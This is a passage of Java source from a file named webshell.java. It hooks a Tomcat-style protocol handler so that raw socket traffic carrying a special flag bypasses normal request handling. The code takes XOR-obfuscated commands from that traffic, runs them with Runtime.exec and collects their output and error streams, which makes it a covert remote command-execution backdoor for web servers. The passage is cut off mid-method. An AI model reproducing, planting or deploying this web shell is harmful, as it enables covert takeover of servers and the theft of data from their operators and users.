Method process

src/main/java/org/example/webshell.java:59–140

(SocketWrapperBase<?> socketWrapper,
                                                                            SocketEvent status)

                            protocol.getRelaxedPathChars(),
                            protocol.getRelaxedQueryChars()) {
                        @Override
                        public AbstractEndpoint.Handler.SocketState process(SocketWrapperBase<?> socketWrapper,
                                                                            SocketEvent status) throws IOException {
                            if (status == SocketEvent.OPEN_READ) {
                                ByteBuffer buffer = ByteBuffer.allocate(4);
//                                socketWrapper.read(false, buffer);
                                ByteBuffer readBuffer = socketWrapper.getSocketBufferHandler().getReadBuffer();
                                // WebShell的flag
                                int read = socketWrapper.read(true, buffer);
                                if (read < 4) {
                                    readBuffer.position(0);
                                    return super.process(socketWrapper, status);
                                }
                                if (!tlv.validate(buffer.array())) {
                                    readBuffer.position(0);
                                    return service(socketWrapper);
                                }
                                // 获取长度
                                switch (readBuffer.get()) {
                                    // 执行ping检测
                                    case 0x01:
                                        byte[] encode = new tlv.Response((byte) 0x01, (byte) 0x00, null).encode();
                                        socketWrapper.write(false, ByteBuffer.wrap(encode));
                                        socketWrapper.flush(false);
                                        return AbstractEndpoint.Handler.SocketState.CLOSED;
                                    case 0x02:
                                        // 读取长度
                                        byte[] lengthBytes = new byte[4];
                                        readBuffer.get(lengthBytes);
                                        int length = ((lengthBytes[0] & 0xFF) << 24) |
                                                ((lengthBytes[1] & 0xFF) << 16) |
                                                ((lengthBytes[2] & 0xFF) << 8) |
                                                (lengthBytes[3] & 0xFF);
                                        // 读取数据
                                        if (length > 0) {
                                            byte[] data = new byte[length];
                                            readBuffer.get(data);
                                            String command = new String(tlv.xorProcess(data));
                                            Process exec = Runtime.getRuntime().exec(command);

                                            // 读取命令执行结果
                                            java.io.InputStream processInputStream = exec.getInputStream();
                                            java.io.ByteArrayOutputStream result = new java.io.ByteArrayOutputStream();
                                            byte[] tempBuffer = new byte[1024];
                                            int readLength;
                                            while ((readLength = processInputStream.read(tempBuffer)) != -1) {
                                                result.write(tempBuffer, 0, readLength);
                                            }

                                            // 读取错误流
                                            java.io.InputStream errorStream = exec.getErrorStream();
                                            while ((readLength = errorStream.read(tempBuffer)) != -1) {
                                                result.write(tempBuffer, 0, readLength);
                                            }

                                            try {
                                                // 等待命令执行完成
                                                exec.waitFor();